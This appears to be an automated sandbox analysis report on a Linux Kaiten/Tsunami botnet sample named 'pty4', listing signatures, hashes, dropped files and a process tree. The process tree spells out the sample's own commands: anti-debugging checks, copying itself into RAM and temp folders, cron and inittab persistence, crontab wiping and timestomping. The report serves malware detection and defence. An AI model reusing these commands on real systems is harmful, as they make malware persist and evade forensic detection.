Analysis

  • max time kernel
    94s
  • max time network
    130s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28/07/2026, 18:17

General

  • Target
    pty4
  • Size 43KB
  • Sample260728-ww3dvasblh
  • SHA256 7d22fabcc98916294775e10101526492c105b583ccc9cf3e2edad9187dab4f14
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Kaiten,Tsunami

    Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.

  • Detects Kaiten/Tsunami Payload 1 IoCs
  • Creates/modifies Cron job 1 TTPs 5 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Indicator Removal: Timestomp 1 TTPs 10 IoCs

    Adversaries may remove indicators of compromise from the host to evade detection.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/pty4
    /tmp/pty4
    1⤵
    • Changes its process name
    • Writes file to tmp directory
    PID:1475
    • /bin/sh
      sh -c "pidof -x strace > /dev/null"
      2⤵
        PID:1476
        • /bin/pidof
          pidof -x strace
          3⤵
          • Reads runtime system information
          PID:1479
      • /bin/sh
        sh -c "pidof -x tcpdump > /dev/null"
        2⤵
          PID:1481
          • /bin/pidof
            pidof -x tcpdump
            3⤵
            • Reads runtime system information
            PID:1482
        • /bin/sh
          sh -c "cat /etc/inittab | grep -v \"/tmp/pty4\" > /etc/inittab2"
          2⤵
            PID:1486
            • /bin/cat
              cat /etc/inittab
              3⤵
                PID:1489
              • /bin/grep
                grep -v /tmp/pty4
                3⤵
                  PID:1490
              • /bin/sh
                sh -c "crontab -l | grep /tmp/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty4 > /dev/null 2>&1 &\") | crontab -"
                2⤵
                  PID:1487
                  • /bin/grep
                    grep -v "no cron"
                    3⤵
                      PID:1494
                    • /bin/grep
                      grep /tmp/pty4
                      3⤵
                        PID:1492
                      • /usr/bin/crontab
                        crontab -l
                        3⤵
                          PID:1491
                        • /usr/bin/crontab
                          crontab -
                          3⤵
                          • Creates/modifies Cron job
                          PID:1497
                        • /usr/bin/crontab
                          crontab -l
                          3⤵
                            PID:1499
                        • /bin/sh
                          sh -c "crontab -r"
                          2⤵
                            PID:1488
                            • /usr/bin/crontab
                              crontab -r
                              3⤵
                                PID:1493
                            • /bin/sh
                              sh -c "echo \"0:2345:respawn:/tmp/pty4\" >> /etc/inittab2"
                              2⤵
                                PID:1495
                              • /bin/sh
                                sh -c "cat /etc/inittab2 > /etc/inittab"
                                2⤵
                                  PID:1498
                                  • /bin/cat
                                    cat /etc/inittab2
                                    3⤵
                                      PID:1500
                                  • /bin/sh
                                    sh -c "rm -rf /etc/inittab2"
                                    2⤵
                                      PID:1501
                                      • /bin/rm
                                        rm -rf /etc/inittab2
                                        3⤵
                                          PID:1502
                                      • /bin/sh
                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                        2⤵
                                        • Indicator Removal: Timestomp
                                        PID:1503
                                        • /usr/bin/touch
                                          touch -acmr /bin/ls /etc/inittab
                                          3⤵
                                          • Indicator Removal: Timestomp
                                          PID:1504
                                      • /bin/sh
                                        sh -c "/bin/uname -n"
                                        2⤵
                                          PID:1510
                                          • /bin/uname
                                            /bin/uname -n
                                            3⤵
                                              PID:1512
                                          • /bin/sh
                                            sh -c "cp -f /tmp/pty4 /dev/shm/pty4"
                                            2⤵
                                              PID:1511
                                              • /bin/cp
                                                cp -f /tmp/pty4 /dev/shm/pty4
                                                3⤵
                                                • Writes file to shm directory
                                                PID:1513
                                            • /bin/sh
                                              sh -c "cat /etc/inittab | grep -v \"/dev/shm/pty4\" > /etc/inittab2"
                                              2⤵
                                                PID:1515
                                                • /bin/cat
                                                  cat /etc/inittab
                                                  3⤵
                                                    PID:1517
                                                  • /bin/grep
                                                    grep -v /dev/shm/pty4
                                                    3⤵
                                                      PID:1518
                                                  • /bin/sh
                                                    sh -c "crontab -l | grep /dev/shm/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty4 > /dev/null 2>&1 &\") | crontab -"
                                                    2⤵
                                                      PID:1516
                                                      • /usr/bin/crontab
                                                        crontab -l
                                                        3⤵
                                                          PID:1519
                                                        • /bin/grep
                                                          grep -v "no cron"
                                                          3⤵
                                                            PID:1521
                                                          • /bin/grep
                                                            grep /dev/shm/pty4
                                                            3⤵
                                                              PID:1520
                                                            • /usr/bin/crontab
                                                              crontab -
                                                              3⤵
                                                              • Creates/modifies Cron job
                                                              PID:1525
                                                            • /usr/bin/crontab
                                                              crontab -l
                                                              3⤵
                                                                PID:1526
                                                            • /bin/sh
                                                              sh -c "echo \"0:2345:respawn:/dev/shm/pty4\" >> /etc/inittab2"
                                                              2⤵
                                                                PID:1522
                                                              • /bin/sh
                                                                sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                2⤵
                                                                  PID:1523
                                                                  • /bin/cat
                                                                    cat /etc/inittab2
                                                                    3⤵
                                                                      PID:1527
                                                                  • /bin/sh
                                                                    sh -c "rm -rf /etc/inittab2"
                                                                    2⤵
                                                                      PID:1528
                                                                      • /bin/rm
                                                                        rm -rf /etc/inittab2
                                                                        3⤵
                                                                          PID:1529
                                                                      • /bin/sh
                                                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                        2⤵
                                                                        • Indicator Removal: Timestomp
                                                                        PID:1530
                                                                        • /usr/bin/touch
                                                                          touch -acmr /bin/ls /etc/inittab
                                                                          3⤵
                                                                          • Indicator Removal: Timestomp
                                                                          PID:1531
                                                                      • /bin/sh
                                                                        sh -c "cp -f /tmp/pty4 /var/tmp/pty4"
                                                                        2⤵
                                                                          PID:1532
                                                                          • /bin/cp
                                                                            cp -f /tmp/pty4 /var/tmp/pty4
                                                                            3⤵
                                                                              PID:1533
                                                                          • /bin/sh
                                                                            sh -c "cat /etc/inittab | grep -v \"/var/tmp/pty4\" > /etc/inittab2"
                                                                            2⤵
                                                                              PID:1535
                                                                              • /bin/grep
                                                                                grep -v /var/tmp/pty4
                                                                                3⤵
                                                                                  PID:1537
                                                                                • /bin/cat
                                                                                  cat /etc/inittab
                                                                                  3⤵
                                                                                    PID:1536
                                                                                • /bin/sh
                                                                                  sh -c "crontab -l | grep /var/tmp/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty4 > /dev/null 2>&1 &\") | crontab -"
                                                                                  2⤵
                                                                                    PID:1538
                                                                                    • /bin/grep
                                                                                      grep -v "no cron"
                                                                                      3⤵
                                                                                        PID:1541
                                                                                      • /bin/grep
                                                                                        grep /var/tmp/pty4
                                                                                        3⤵
                                                                                          PID:1540
                                                                                        • /usr/bin/crontab
                                                                                          crontab -l
                                                                                          3⤵
                                                                                            PID:1539
                                                                                          • /usr/bin/crontab
                                                                                            crontab -
                                                                                            3⤵
                                                                                            • Creates/modifies Cron job
                                                                                            PID:1545
                                                                                          • /usr/bin/crontab
                                                                                            crontab -l
                                                                                            3⤵
                                                                                              PID:1547
                                                                                          • /bin/sh
                                                                                            sh -c "echo \"0:2345:respawn:/var/tmp/pty4\" >> /etc/inittab2"
                                                                                            2⤵
                                                                                              PID:1542
                                                                                            • /bin/sh
                                                                                              sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                              2⤵
                                                                                                PID:1543
                                                                                                • /bin/cat
                                                                                                  cat /etc/inittab2
                                                                                                  3⤵
                                                                                                    PID:1546
                                                                                                • /bin/sh
                                                                                                  sh -c "rm -rf /etc/inittab2"
                                                                                                  2⤵
                                                                                                    PID:1548
                                                                                                    • /bin/rm
                                                                                                      rm -rf /etc/inittab2
                                                                                                      3⤵
                                                                                                        PID:1549
                                                                                                    • /bin/sh
                                                                                                      sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                      2⤵
                                                                                                      • Indicator Removal: Timestomp
                                                                                                      PID:1550
                                                                                                      • /usr/bin/touch
                                                                                                        touch -acmr /bin/ls /etc/inittab
                                                                                                        3⤵
                                                                                                        • Indicator Removal: Timestomp
                                                                                                        PID:1551
                                                                                                    • /bin/sh
                                                                                                      sh -c "cp -f /tmp/pty4 /var/lock/pty4"
                                                                                                      2⤵
                                                                                                        PID:1552
                                                                                                        • /bin/cp
                                                                                                          cp -f /tmp/pty4 /var/lock/pty4
                                                                                                          3⤵
                                                                                                            PID:1553
                                                                                                        • /bin/sh
                                                                                                          sh -c "cat /etc/inittab | grep -v \"/var/lock/pty4\" > /etc/inittab2"
                                                                                                          2⤵
                                                                                                            PID:1555
                                                                                                            • /bin/grep
                                                                                                              grep -v /var/lock/pty4
                                                                                                              3⤵
                                                                                                                PID:1557
                                                                                                              • /bin/cat
                                                                                                                cat /etc/inittab
                                                                                                                3⤵
                                                                                                                  PID:1556
                                                                                                              • /bin/sh
                                                                                                                sh -c "crontab -l | grep /var/lock/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty4 > /dev/null 2>&1 &\") | crontab -"
                                                                                                                2⤵
                                                                                                                  PID:1558
                                                                                                                  • /bin/grep
                                                                                                                    grep -v "no cron"
                                                                                                                    3⤵
                                                                                                                      PID:1561
                                                                                                                    • /bin/grep
                                                                                                                      grep /var/lock/pty4
                                                                                                                      3⤵
                                                                                                                        PID:1560
                                                                                                                      • /usr/bin/crontab
                                                                                                                        crontab -l
                                                                                                                        3⤵
                                                                                                                          PID:1559
                                                                                                                        • /usr/bin/crontab
                                                                                                                          crontab -
                                                                                                                          3⤵
                                                                                                                          • Creates/modifies Cron job
                                                                                                                          PID:1565
                                                                                                                        • /usr/bin/crontab
                                                                                                                          crontab -l
                                                                                                                          3⤵
                                                                                                                            PID:1567
                                                                                                                        • /bin/sh
                                                                                                                          sh -c "echo \"0:2345:respawn:/var/lock/pty4\" >> /etc/inittab2"
                                                                                                                          2⤵
                                                                                                                            PID:1562
                                                                                                                          • /bin/sh
                                                                                                                            sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                            2⤵
                                                                                                                              PID:1563
                                                                                                                              • /bin/cat
                                                                                                                                cat /etc/inittab2
                                                                                                                                3⤵
                                                                                                                                  PID:1566
                                                                                                                              • /bin/sh
                                                                                                                                sh -c "rm -rf /etc/inittab2"
                                                                                                                                2⤵
                                                                                                                                  PID:1568
                                                                                                                                  • /bin/rm
                                                                                                                                    rm -rf /etc/inittab2
                                                                                                                                    3⤵
                                                                                                                                      PID:1569
                                                                                                                                  • /bin/sh
                                                                                                                                    sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                    2⤵
                                                                                                                                    • Indicator Removal: Timestomp
                                                                                                                                    PID:1570
                                                                                                                                    • /usr/bin/touch
                                                                                                                                      touch -acmr /bin/ls /etc/inittab
                                                                                                                                      3⤵
                                                                                                                                      • Indicator Removal: Timestomp
                                                                                                                                      PID:1571
                                                                                                                                  • /bin/sh
                                                                                                                                    sh -c "cp -f /tmp/pty4 /var/run/pty4"
                                                                                                                                    2⤵
                                                                                                                                      PID:1572
                                                                                                                                      • /bin/cp
                                                                                                                                        cp -f /tmp/pty4 /var/run/pty4
                                                                                                                                        3⤵
                                                                                                                                          PID:1573
                                                                                                                                      • /bin/sh
                                                                                                                                        sh -c "cat /etc/inittab | grep -v \"/var/run/pty4\" > /etc/inittab2"
                                                                                                                                        2⤵
                                                                                                                                          PID:1575
                                                                                                                                          • /bin/cat
                                                                                                                                            cat /etc/inittab
                                                                                                                                            3⤵
                                                                                                                                              PID:1577
                                                                                                                                            • /bin/grep
                                                                                                                                              grep -v /var/run/pty4
                                                                                                                                              3⤵
                                                                                                                                                PID:1578
                                                                                                                                            • /bin/sh
                                                                                                                                              sh -c "crontab -l | grep /var/run/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty4 > /dev/null 2>&1 &\") | crontab -"
                                                                                                                                              2⤵
                                                                                                                                                PID:1576
                                                                                                                                                • /bin/grep
                                                                                                                                                  grep -v "no cron"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1581
                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                    crontab -l
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1579
                                                                                                                                                    • /bin/grep
                                                                                                                                                      grep /var/run/pty4
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1580
                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                        crontab -
                                                                                                                                                        3⤵
                                                                                                                                                        • Creates/modifies Cron job
                                                                                                                                                        PID:1585
                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                        crontab -l
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1587
                                                                                                                                                      • /bin/sh
                                                                                                                                                        sh -c "echo \"0:2345:respawn:/var/run/pty4\" >> /etc/inittab2"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1582
                                                                                                                                                        • /bin/sh
                                                                                                                                                          sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1583
                                                                                                                                                            • /bin/cat
                                                                                                                                                              cat /etc/inittab2
                                                                                                                                                              3⤵
                                                                                                                                                                PID:1586
                                                                                                                                                            • /bin/sh
                                                                                                                                                              sh -c "rm -rf /etc/inittab2"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1588
                                                                                                                                                                • /bin/rm
                                                                                                                                                                  rm -rf /etc/inittab2
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:1589
                                                                                                                                                                • /bin/sh
                                                                                                                                                                  sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Indicator Removal: Timestomp
                                                                                                                                                                  PID:1590
                                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                                    touch -acmr /bin/ls /etc/inittab
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Indicator Removal: Timestomp
                                                                                                                                                                    PID:1591

                                                                                                                                                              Network

                                                                                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                                                                                    Replay Monitor

                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                    Downloads

                                                                                                                                                                    pty4

                                                                                                                                                                    • Path /dev/shm/pty4
                                                                                                                                                                    • Size 43KB
                                                                                                                                                                    • SHA256 7d22fabcc98916294775e10101526492c105b583ccc9cf3e2edad9187dab4f14
                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                                    inittab

                                                                                                                                                                    • Path /etc/inittab
                                                                                                                                                                    • Size 83B
                                                                                                                                                                    • SHA256 7fbf43311d4796b4039c1b4336eee7ca6552be98203d1858d14cb6e37ea877e5
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab

                                                                                                                                                                    • Path /etc/inittab
                                                                                                                                                                    • Size 113B
                                                                                                                                                                    • SHA256 7afb3d064700bcb2fec3b727de8e99eb2afebb919d4222ad3a92936b0ed714ae
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab2

                                                                                                                                                                    • Path /etc/inittab2
                                                                                                                                                                    • Size 54B
                                                                                                                                                                    • SHA256 031e3a9a99c03a49fea757df0d3ff52fc5dbcc07d37f2674efe21cae6529c370
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab2

                                                                                                                                                                    • Path /etc/inittab2
                                                                                                                                                                    • Size 142B
                                                                                                                                                                    • SHA256 53aca2a49a912146645bbb47d0abb1827520434abb907cadf77bc55b2572b099
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab2

                                                                                                                                                                    • Path /etc/inittab2
                                                                                                                                                                    • Size 25B
                                                                                                                                                                    • SHA256 a1a915c2d2d8b0997cea0c5885f31609e34ba6f5e9761f7a1fe5c292ae743dea
                                                                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                                                                    tmp.MjBKRA

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.MjBKRA
                                                                                                                                                                    • Size 387B
                                                                                                                                                                    • SHA256 7490c8f5407f319b1a8bbb5ef4fe9571e574526f400e82010d41dbe3898ae4e9
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.iHwfNp

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.iHwfNp
                                                                                                                                                                    • Size 300B
                                                                                                                                                                    • SHA256 7ddf9f2e168a157954e4dadf329365fb47e2eb57a7f90add311c349849d6cf3c
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.imVfdo

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.imVfdo
                                                                                                                                                                    • Size 257B
                                                                                                                                                                    • SHA256 2a54bcca14f7bf9ef25f0cee0d28207947261c122bc1a3001f946d1760ed48e6
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.sSWn3c

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.sSWn3c
                                                                                                                                                                    • Size 214B
                                                                                                                                                                    • SHA256 8734e510f129fdab0468192c8373d07dc15ef6e91a233b46c71ed03d2a8b4a82
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.wPcbvv

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.wPcbvv
                                                                                                                                                                    • Size 344B
                                                                                                                                                                    • SHA256 93989a058d377d680a2ee2fe3432f8e4913ba24e0da6bb2a72ad3f2be68ee9ff
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH